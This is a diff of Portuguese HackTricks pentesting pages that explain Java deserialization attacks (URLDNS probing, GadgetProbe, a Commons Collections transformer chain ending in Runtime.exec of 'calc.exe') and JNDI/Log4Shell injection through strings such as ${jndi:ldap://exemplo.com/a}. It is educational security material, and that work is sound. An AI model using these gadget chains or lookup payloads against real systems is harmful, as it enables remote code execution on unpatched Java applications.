* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no GitHub.
|
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
@ -20,10 +20,10 @@ A classe `java.net.URL` implementa `Serializable`, o que significa que essa clas
|
||||||
```java
|
```java
|
||||||
public final class URL implements java.io.Serializable {
|
public final class URL implements java.io.Serializable {
|
||||||
```
|
```
|
||||||
Esta classe tem um **comportamento curioso.** De acordo com a documentação: "**Dois hosts são considerados equivalentes se ambos os nomes de host puderem ser resolvidos para os mesmos endereços IP**".\
|
Esta classe tem um **comportamento curioso**. De acordo com a documentação: "**Dois hosts são considerados equivalentes se ambos os nomes de host puderem ser resolvidos para os mesmos endereços IP**".\
|
||||||
Assim, sempre que um objeto URL chama **qualquer** das **funções `equals`** ou **`hashCode`** um **pedido DNS** para obter o endereço IP será **enviado**.
|
Assim, sempre que um objeto URL chama **qualquer** das **funções `equals`** ou **`hashCode`** um **pedido DNS** para obter o endereço IP será **enviado**.
|
||||||
|
|
||||||
**Chamar** a função **`hashCode`** **de** um objeto **URL** é bastante simples, basta inserir este objeto dentro de um `HashMap` que será desserializado. Isso ocorre porque **no final** da função **`readObject`** do `HashMap`, este código é executado:
|
**Chamar** a função **`hashCode`** de um objeto **URL** é bastante simples, basta inserir este objeto dentro de um `HashMap` que será desserializado. Isso ocorre porque **no final** da função **`readObject`** do `HashMap`, este código é executado:
|
||||||
```java
|
```java
|
||||||
private void readObject(java.io.ObjectInputStream s)
|
private void readObject(java.io.ObjectInputStream s)
|
||||||
throws IOException, ClassNotFoundException {
|
throws IOException, ClassNotFoundException {
|
||||||
|
@ -33,7 +33,7 @@ for (int i = 0; i < mappings; i++) {
|
||||||
putVal(hash(key), key, value, false, false);
|
putVal(hash(key), key, value, false, false);
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
O **putVal** será **executado** com cada valor dentro do `HashMap`. No entanto, mais relevante é a chamada para `hash` com cada valor. Este é o código da função `hash`:
|
É **executado** o `putVal` com cada valor dentro do `HashMap`. No entanto, mais relevante é a chamada para `hash` com cada valor. Este é o código da função `hash`:
|
||||||
```java
|
```java
|
||||||
static final int hash(Object key) {
|
static final int hash(Object key) {
|
||||||
int h;
|
int h;
|
||||||
|
@ -147,7 +147,7 @@ Você pode baixar o [**GadgetProbe**](https://github.com/BishopFox/GadgetProbe)
|
||||||
|
|
||||||
### Como funciona
|
### Como funciona
|
||||||
|
|
||||||
**GadgetProbe** usará o mesmo **payload DNS da seção anterior**, mas **antes** de executar a consulta DNS, ele **tentará desserializar uma classe arbitrária**. Se a **classe arbitrária existir**, a **consulta DNS** será **enviada** e o GadgetProbe notará que essa classe existe. Se a **solicitação DNS** nunca for enviada, isso significa que a **classe arbitrária não foi desserializada** com sucesso, então ela não está presente ou não é **serializável/exploitável**.
|
**GadgetProbe** usará o mesmo **payload DNS da seção anterior**, mas **antes** de executar a consulta DNS, ele **tentará desserializar uma classe arbitrária**. Se a **classe arbitrária existir**, a **consulta DNS** será **enviada** e o GadgetProbe notará que essa classe existe. Se a **solicitação DNS** não for **enviada**, isso significa que a **classe arbitrária não foi desserializada** com sucesso, então ela não está presente ou não é **serializável/exploitável**.
|
||||||
|
|
||||||
Dentro do github, o [**GadgetProbe tem algumas listas de palavras**](https://github.com/BishopFox/GadgetProbe/tree/master/wordlists) com classes Java para serem testadas.
|
Dentro do github, o [**GadgetProbe tem algumas listas de palavras**](https://github.com/BishopFox/GadgetProbe/tree/master/wordlists) com classes Java para serem testadas.
|
||||||
|
|
||||||
|
@ -164,7 +164,7 @@ A **extensão** possui **capacidades** passivas e ativas.
|
||||||
|
|
||||||
### Passivo
|
### Passivo
|
||||||
|
|
||||||
Por padrão, ele **verifica passivamente** todas as solicitações e respostas enviadas **procurando por bytes mágicos serializados Java** e apresentará um aviso de vulnerabilidade se encontrar algum:
|
Por padrão, ele **verifica passivamente** todas as solicitações e respostas enviadas **procurando por bytes mágicos serializados em Java** e apresentará um aviso de vulnerabilidade se encontrar algum:
|
||||||
|
|
||||||
![https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](<../../.gitbook/assets/image (290).png>)
|
![https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](<../../.gitbook/assets/image (290).png>)
|
||||||
|
|
||||||
|
@ -182,7 +182,7 @@ Mesmo que seja chamado de "Teste Manual", é bastante **automatizado**. Ele veri
|
||||||
**Explorando**
|
**Explorando**
|
||||||
|
|
||||||
Depois de identificar uma biblioteca vulnerável, você pode enviar a solicitação para a _Guia de Exploração_.\
|
Depois de identificar uma biblioteca vulnerável, você pode enviar a solicitação para a _Guia de Exploração_.\
|
||||||
Nesta guia, você deve **selecionar** o **ponto de injeção** novamente, **escrever** a **biblioteca vulnerável** para a qual deseja criar um payload e o **comando**. Em seguida, basta pressionar o botão de **Ataque** apropriado.
|
Nesta guia, você deve **selecionar** o **ponto de injeção** novamente, e **escrever** a **biblioteca vulnerável** para a qual deseja criar um payload e o **comando**. Em seguida, basta pressionar o botão de **Ataque** apropriado.
|
||||||
|
|
||||||
![https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](<../../.gitbook/assets/4 (1).png>)
|
![https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](<../../.gitbook/assets/4 (1).png>)
|
||||||
|
|
||||||
|
@ -205,7 +205,7 @@ Outras formas de apoiar o HackTricks:
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -4,15 +4,15 @@
|
||||||
|
|
||||||
Outras maneiras de apoiar o HackTricks:
|
Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
Confira as postagens:
|
Verifique as postagens:
|
||||||
|
|
||||||
* [https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html](https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html)
|
* [https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html](https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html)
|
||||||
* [https://0xrick.github.io/hack-the-box/arkham/](https://0xrick.github.io/hack-the-box/arkham/)
|
* [https://0xrick.github.io/hack-the-box/arkham/](https://0xrick.github.io/hack-the-box/arkham/)
|
||||||
|
|
|
@ -2,7 +2,7 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
@ -14,7 +14,7 @@
|
||||||
|
|
||||||
## Transformadores Java para Rutime exec()
|
## Transformadores Java para Rutime exec()
|
||||||
|
|
||||||
Em vários lugares, você pode encontrar um payload de desserialização Java que usa transformadores do Apache common collections como o seguinte:
|
Em vários lugares, você pode encontrar um payload de desserialização Java que usa transformadores do Apache Common Collections, como o seguinte:
|
||||||
```java
|
```java
|
||||||
import org.apache.commons.*;
|
import org.apache.commons.*;
|
||||||
import org.apache.commons.collections.*;
|
import org.apache.commons.collections.*;
|
||||||
|
@ -67,7 +67,7 @@ Ou **mais exatamente**, o que será executado no final será:
|
||||||
|
|
||||||
Então, como o primeiro payload apresentado é equivalente a esses one-liners "simples"?
|
Então, como o primeiro payload apresentado é equivalente a esses one-liners "simples"?
|
||||||
|
|
||||||
**Primeiro** de tudo, você pode notar no payload que uma **cadeia (array) de transformações é criada**:
|
**Primeiramente**, você pode notar no payload que uma **cadeia (array) de transformações é criada**:
|
||||||
```java
|
```java
|
||||||
String[] command = {"calc.exe"};
|
String[] command = {"calc.exe"};
|
||||||
final Transformer[] transformers = new Transformer[]{
|
final Transformer[] transformers = new Transformer[]{
|
||||||
|
@ -94,7 +94,7 @@ command
|
||||||
};
|
};
|
||||||
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
|
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
|
||||||
```
|
```
|
||||||
Se você ler o código, você notará que se você de alguma forma encadear a transformação do array, você poderá executar comandos arbitrários.
|
Se você ler o código, você notará que se de alguma forma encadear as transformações do array, você poderá executar comandos arbitrários.
|
||||||
|
|
||||||
Então, **como essas transformações são encadeadas?**
|
Então, **como essas transformações são encadeadas?**
|
||||||
```java
|
```java
|
||||||
|
@ -159,7 +159,7 @@ new Class[]{String.class},
|
||||||
command
|
command
|
||||||
).transform(value); //(4)
|
).transform(value); //(4)
|
||||||
```
|
```
|
||||||
_Observe como `value` é a entrada de cada transformação e a saída da transformação anterior, permitindo a execução de um comando em uma linha:_
|
_Observa como `value` é a entrada de cada transformação e a saída da transformação anterior, permitindo a execução de um comando em uma linha:_
|
||||||
```java
|
```java
|
||||||
((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});
|
((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});
|
||||||
```
|
```
|
||||||
|
@ -218,12 +218,12 @@ Você pode encontrar mais gadgets aqui: [https://deadcode.me/blog/2016/09/02/Bli
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -2,21 +2,21 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Aprenda hacking AWS do zero ao avançado com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Outras formas de apoiar o HackTricks:
|
Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
- Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
- Adquira [**produtos oficiais PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
- **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
- **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Encontre vulnerabilidades que importam mais para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha tecnológica, de APIs a aplicativos da web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
|
Encontre as vulnerabilidades mais importantes para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha tecnológica, de APIs a aplicativos da web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
|
||||||
|
|
||||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||||
|
|
||||||
|
@ -30,7 +30,7 @@ O JNDI, integrado ao Java desde o final dos anos 1990, atua como um serviço de
|
||||||
Objetos Java podem ser armazenados e recuperados usando Referências de Nomes JNDI, que se apresentam em duas formas:
|
Objetos Java podem ser armazenados e recuperados usando Referências de Nomes JNDI, que se apresentam em duas formas:
|
||||||
|
|
||||||
- **Endereços de Referência**: Especifica a localização de um objeto (por exemplo, _rmi://servidor/ref_), permitindo a recuperação direta do endereço especificado.
|
- **Endereços de Referência**: Especifica a localização de um objeto (por exemplo, _rmi://servidor/ref_), permitindo a recuperação direta do endereço especificado.
|
||||||
- **Fábrica Remota**: Referencia uma classe de fábrica remota. Quando acessada, a classe é baixada e instanciada a partir da localização remota.
|
- **Fábrica Remota**: Referencia uma classe de fábrica remota. Quando acessada, a classe é baixada e instanciada a partir do local remoto.
|
||||||
|
|
||||||
No entanto, esse mecanismo pode ser explorado, potencialmente levando ao carregamento e execução de código arbitrário. Como contramedida:
|
No entanto, esse mecanismo pode ser explorado, potencialmente levando ao carregamento e execução de código arbitrário. Como contramedida:
|
||||||
|
|
||||||
|
@ -52,11 +52,11 @@ Apesar das proteções, vulnerabilidades permanecem, principalmente devido à fa
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (655) (1) (1).png>)
|
![](<../../.gitbook/assets/image (655) (1) (1).png>)
|
||||||
|
|
||||||
Mesmo que você tenha definido um **`PROVIDER_URL`**, você pode indicar um diferente em uma busca e ele será acessado: `ctx.lookup("<url-controlada-pelo-atacante>")` e é isso que um atacante irá abusar para carregar objetos arbitrários de um sistema controlado por ele.
|
Mesmo que você tenha definido um **`PROVIDER_URL`**, você pode indicar um diferente em uma busca e ele será acessado: `ctx.lookup("<url-controlada-pelo-atacante>")` e é isso que um atacante explorará para carregar objetos arbitrários de um sistema controlado por ele.
|
||||||
|
|
||||||
### Visão Geral do CORBA
|
### Visão Geral do CORBA
|
||||||
|
|
||||||
O CORBA (Common Object Request Broker Architecture) emprega uma **Referência de Objeto Interoperável (IOR)** para identificar remotamente objetos únicos. Esta referência inclui informações essenciais como:
|
O CORBA (Common Object Request Broker Architecture) emprega uma **Referência de Objeto Interoperável (IOR)** para identificar exclusivamente objetos remotos. Esta referência inclui informações essenciais como:
|
||||||
|
|
||||||
- **ID de Tipo**: Identificador único para uma interface.
|
- **ID de Tipo**: Identificador único para uma interface.
|
||||||
- **Codebase**: URL para obter a classe stub.
|
- **Codebase**: URL para obter a classe stub.
|
||||||
|
@ -72,7 +72,7 @@ No entanto, algumas políticas de fornecedores podem ser tolerantes e permitir e
|
||||||
|
|
||||||
### Contexto RMI
|
### Contexto RMI
|
||||||
|
|
||||||
Para RMI (Invocação de Método Remoto), a situação é um pouco diferente. Assim como no CORBA, o download arbitrário de classes é restrito por padrão. Para explorar o RMI, normalmente seria necessário contornar o Gerenciador de Segurança, uma façanha também relevante no CORBA.
|
Para RMI (Invocação de Método Remoto), a situação é um pouco diferente. Assim como no CORBA, o download arbitrário de classes é restrito por padrão. Para explorar o RMI, geralmente seria necessário contornar o Gerenciador de Segurança, uma façanha também relevante no CORBA.
|
||||||
|
|
||||||
### LDAP
|
### LDAP
|
||||||
|
|
||||||
|
@ -104,11 +104,11 @@ Caso `trustURLCodebase` seja `true`, um atacante pode fornecer suas próprias cl
|
||||||
|
|
||||||
A vulnerabilidade é introduzida no Log4j porque ele suporta uma [**sintaxe especial**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution) na forma `${prefixo:nome}` onde `prefixo` é um dos vários [**Lookups**](https://logging.apache.org/log4j/2.x/manual/lookups.html) onde `nome` deve ser avaliado. Por exemplo, `${java:versão}` é a versão atual em execução do Java.
|
A vulnerabilidade é introduzida no Log4j porque ele suporta uma [**sintaxe especial**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution) na forma `${prefixo:nome}` onde `prefixo` é um dos vários [**Lookups**](https://logging.apache.org/log4j/2.x/manual/lookups.html) onde `nome` deve ser avaliado. Por exemplo, `${java:versão}` é a versão atual em execução do Java.
|
||||||
|
|
||||||
[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313) introduziu um recurso de `jndi` Lookup. Esse recurso permite a recuperação de variáveis por meio do JNDI. Tipicamente, a chave é automaticamente prefixada com `java:comp/env/`. No entanto, se a chave em si incluir um **":"**, este prefixo padrão não é aplicado.
|
[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313) introduziu um recurso de `jndi` Lookup. Esse recurso permite a recuperação de variáveis por meio do JNDI. Tipicamente, a chave é automaticamente prefixada com `java:comp/env/`. No entanto, se a própria chave incluir um **":"**, este prefixo padrão não é aplicado.
|
||||||
|
|
||||||
Com um **":" presente** na chave, como em `${jndi:ldap://exemplo.com/a}`, não há **prefixo** e o **servidor LDAP é consultado para o objeto**. E esses Lookups podem ser usados tanto na configuração do Log4j quanto ao registrar linhas.
|
Com um **":" presente** na chave, como em `${jndi:ldap://exemplo.com/a}`, não há **prefixo** e o **servidor LDAP é consultado para o objeto**. E esses Lookups podem ser usados tanto na configuração do Log4j quanto ao registrar linhas.
|
||||||
|
|
||||||
Portanto, a única coisa necessária para obter RCE é uma **versão vulnerável do Log4j processando informações controladas pelo usuário**. E como esta é uma biblioteca amplamente utilizada por aplicativos Java para registrar informações (incluindo aplicativos voltados para a Internet), era muito comum ter log4j registrando, por exemplo, cabeçalhos HTTP recebidos como o User-Agent. No entanto, o log4j **não é usado apenas para registrar informações HTTP, mas qualquer entrada** e dados indicados pelo desenvolvedor.
|
Portanto, a única coisa necessária para obter RCE é uma **versão vulnerável do Log4j processando informações controladas pelo usuário**. E como esta é uma biblioteca amplamente usada por aplicativos Java para registrar informações (incluindo aplicativos voltados para a Internet), era muito comum ter log4j registrando, por exemplo, cabeçalhos HTTP recebidos como o User-Agent. No entanto, o log4j **não é usado apenas para registrar informações HTTP, mas qualquer entrada** e dados indicados pelo desenvolvedor.
|
||||||
|
|
||||||
## Visão Geral das CVEs Relacionadas ao Log4Shell
|
## Visão Geral das CVEs Relacionadas ao Log4Shell
|
||||||
|
|
||||||
|
@ -119,7 +119,7 @@ Essa vulnerabilidade é uma falha crítica de **desserialização não confiáve
|
||||||
Inicialmente classificada como baixa, mas posteriormente atualizada para crítica, esta CVE é uma falha de **Negação de Serviço (DoS)** resultante de uma correção incompleta na versão 2.15.0 para CVE-2021-44228. Afeta configurações não padrão, permitindo que invasores causem ataques de DoS por meio de payloads elaborados. Um [tweet](https://twitter.com/marcioalm/status/1471740771581652995) mostra um método de bypass. O problema é resolvido nas versões 2.16.0 e 2.12.2 removendo padrões de busca de mensagens e desabilitando o JNDI por padrão.
|
Inicialmente classificada como baixa, mas posteriormente atualizada para crítica, esta CVE é uma falha de **Negação de Serviço (DoS)** resultante de uma correção incompleta na versão 2.15.0 para CVE-2021-44228. Afeta configurações não padrão, permitindo que invasores causem ataques de DoS por meio de payloads elaborados. Um [tweet](https://twitter.com/marcioalm/status/1471740771581652995) mostra um método de bypass. O problema é resolvido nas versões 2.16.0 e 2.12.2 removendo padrões de busca de mensagens e desabilitando o JNDI por padrão.
|
||||||
|
|
||||||
### [CVE-2021-4104](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **[Alta]**
|
### [CVE-2021-4104](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **[Alta]**
|
||||||
Afetando as versões **Log4j 1.x** em configurações não padrão usando `JMSAppender`, esta CVE é uma falha de desserialização não confiável. Não há correção disponível para o ramo 1.x, que está em fim de vida, e é recomendado atualizar para `log4j-core 2.17.0`.
|
Afetando as **versões Log4j 1.x** em configurações não padrão usando `JMSAppender`, esta CVE é uma falha de desserialização não confiável. Não há correção disponível para o ramo 1.x, que está em fim de vida, e é recomendado atualizar para `log4j-core 2.17.0`.
|
||||||
|
|
||||||
### [CVE-2021-42550](https://nvd.nist.gov/vuln/detail/CVE-2021-42550) **[Moderada]**
|
### [CVE-2021-42550](https://nvd.nist.gov/vuln/detail/CVE-2021-42550) **[Moderada]**
|
||||||
Essa vulnerabilidade afeta o **framework de log Logback**, sucessor do Log4j 1.x. Anteriormente considerado seguro, o framework foi encontrado vulnerável, e novas versões (1.3.0-alpha11 e 1.2.9) foram lançadas para abordar o problema.
|
